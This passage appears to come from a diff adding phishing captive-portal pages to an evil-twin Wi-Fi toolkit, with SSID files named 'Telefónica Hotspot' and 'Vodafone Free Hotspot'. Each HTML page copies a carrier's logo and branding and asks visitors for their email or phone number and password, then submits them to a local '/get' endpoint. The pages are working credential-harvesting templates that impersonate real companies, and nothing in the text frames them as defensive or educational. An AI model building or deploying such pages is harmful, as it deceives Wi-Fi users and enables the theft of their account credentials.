<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
182z"/>
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
98 210 135 319 84z"/>
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
274z"/>
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Connect</button>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your app if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>
@@ -0,0 +1 @@
Telefónica Hotspot
+185
View File
@@ -0,0 +1,185 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #0066ff;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #0066ff;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #0066ff;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
}
.submit-btn:hover {
background: #0066ff;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
fill="#0066ff" stroke="none">
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
182z"/>
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
98 210 135 319 84z"/>
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
274z"/>
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Connect</button>
</form>
</div>
</div>
</body>
</html>
@@ -0,0 +1 @@
Vodafone Free Hotspot
@@ -0,0 +1,163 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #6C429C;
}
.vodafone-name {
font-size: 42px;
color: #E60000;
margin-left: 0px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #E60000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #E60000;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #E60000;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #E60000;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="50.000000pt" height="50.000000pt" viewBox="0 0 900.000000 900.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,900.000000) scale(0.100000,-0.100000)"
fill="#E60000" stroke="none">
<path d="M4130 8945 c-932 -77 -1814 -444 -2530 -1054 -117 -100 -354 -335
-460 -456 -99 -114 -284 -356 -352 -460 -72 -110 -138 -215 -138 -219 0 -2
-22 -41 -48 -87 -43 -74 -139 -266 -185 -369 -113 -250 -228 -612 -287 -899
-144 -710 -111 -1496 92 -2166 226 -748 600 -1371 1149 -1912 170 -167 277
-259 456 -394 1001 -751 2240 -1039 3503 -814 531 95 1127 334 1600 643 266
173 514 377 747 613 167 170 260 277 393 454 184 245 302 439 440 720 300 613
450 1265 450 1955 0 547 -92 1055 -281 1562 -229 614 -575 1146 -1050 1615
-341 335 -670 574 -1097 795 l-115 59 -51 -12 c-173 -40 -421 -148 -570 -248
-405 -273 -684 -672 -792 -1131 -22 -94 -44 -281 -44 -375 l0 -81 73 -19 c98
-25 374 -116 472 -155 321 -130 611 -316 831 -535 373 -371 567 -829 603
-1428 43 -691 -210 -1349 -708 -1848 -312 -311 -661 -510 -1081 -615 -204 -50
-322 -66 -558 -71 -232 -6 -357 6 -565 53 -362 82 -716 257 -1013 499 -143
118 -321 302 -428 444 -75 100 -191 276 -203 308 -4 10 -16 34 -28 53 -12 19
-43 81 -68 136 -152 333 -232 667 -256 1064 -58 957 360 1998 1099 2741 311
312 643 552 1065 769 474 244 955 396 1475 466 131 18 590 26 660 12 74 -15
-200 100 -390 165 -579 196 -1199 272 -1810 222z"/>
</g>
</svg>
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
<div class="vodafone-name">Vodafone</div>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Vodafone Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Vodafone App if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>
@@ -0,0 +1 @@
Vodafone Free Hotspot
+138
View File
@@ -0,0 +1,138 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #6C429C;
}
.vodafone-name {
font-size: 42px;
color: #E60000;
margin-left: 0px;
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #E60000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #E60000;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #E60000;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #E60000;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="50.000000pt" height="50.000000pt" viewBox="0 0 900.000000 900.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,900.000000) scale(0.100000,-0.100000)"
fill="#E60000" stroke="none">
<path d="M4130 8945 c-932 -77 -1814 -444 -2530 -1054 -117 -100 -354 -335
-460 -456 -99 -114 -284 -356 -352 -460 -72 -110 -138 -215 -138 -219 0 -2
-22 -41 -48 -87 -43 -74 -139 -266 -185 -369 -113 -250 -228 -612 -287 -899
-144 -710 -111 -1496 92 -2166 226 -748 600 -1371 1149 -1912 170 -167 277
-259 456 -394 1001 -751 2240 -1039 3503 -814 531 95 1127 334 1600 643 266
173 514 377 747 613 167 170 260 277 393 454 184 245 302 439 440 720 300 613
450 1265 450 1955 0 547 -92 1055 -281 1562 -229 614 -575 1146 -1050 1615
-341 335 -670 574 -1097 795 l-115 59 -51 -12 c-173 -40 -421 -148 -570 -248
-405 -273 -684 -672 -792 -1131 -22 -94 -44 -281 -44 -375 l0 -81 73 -19 c98
-25 374 -116 472 -155 321 -130 611 -316 831 -535 373 -371 567 -829 603
-1428 43 -691 -210 -1349 -708 -1848 -312 -311 -661 -510 -1081 -615 -204 -50
-322 -66 -558 -71 -232 -6 -357 6 -565 53 -362 82 -716 257 -1013 499 -143
118 -321 302 -428 444 -75 100 -191 276 -203 308 -4 10 -16 34 -28 53 -12 19
-43 81 -68 136 -152 333 -232 667 -256 1064 -58 957 360 1998 1099 2741 311
312 643 552 1065 769 474 244 955 396 1475 466 131 18 590 26 660 12 74 -15
-200 100 -390 165 -579 196 -1199 272 -1810 222z"/>
</g>
</svg>
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
<div class="vodafone-name">Vodafone</div>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Vodafone Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>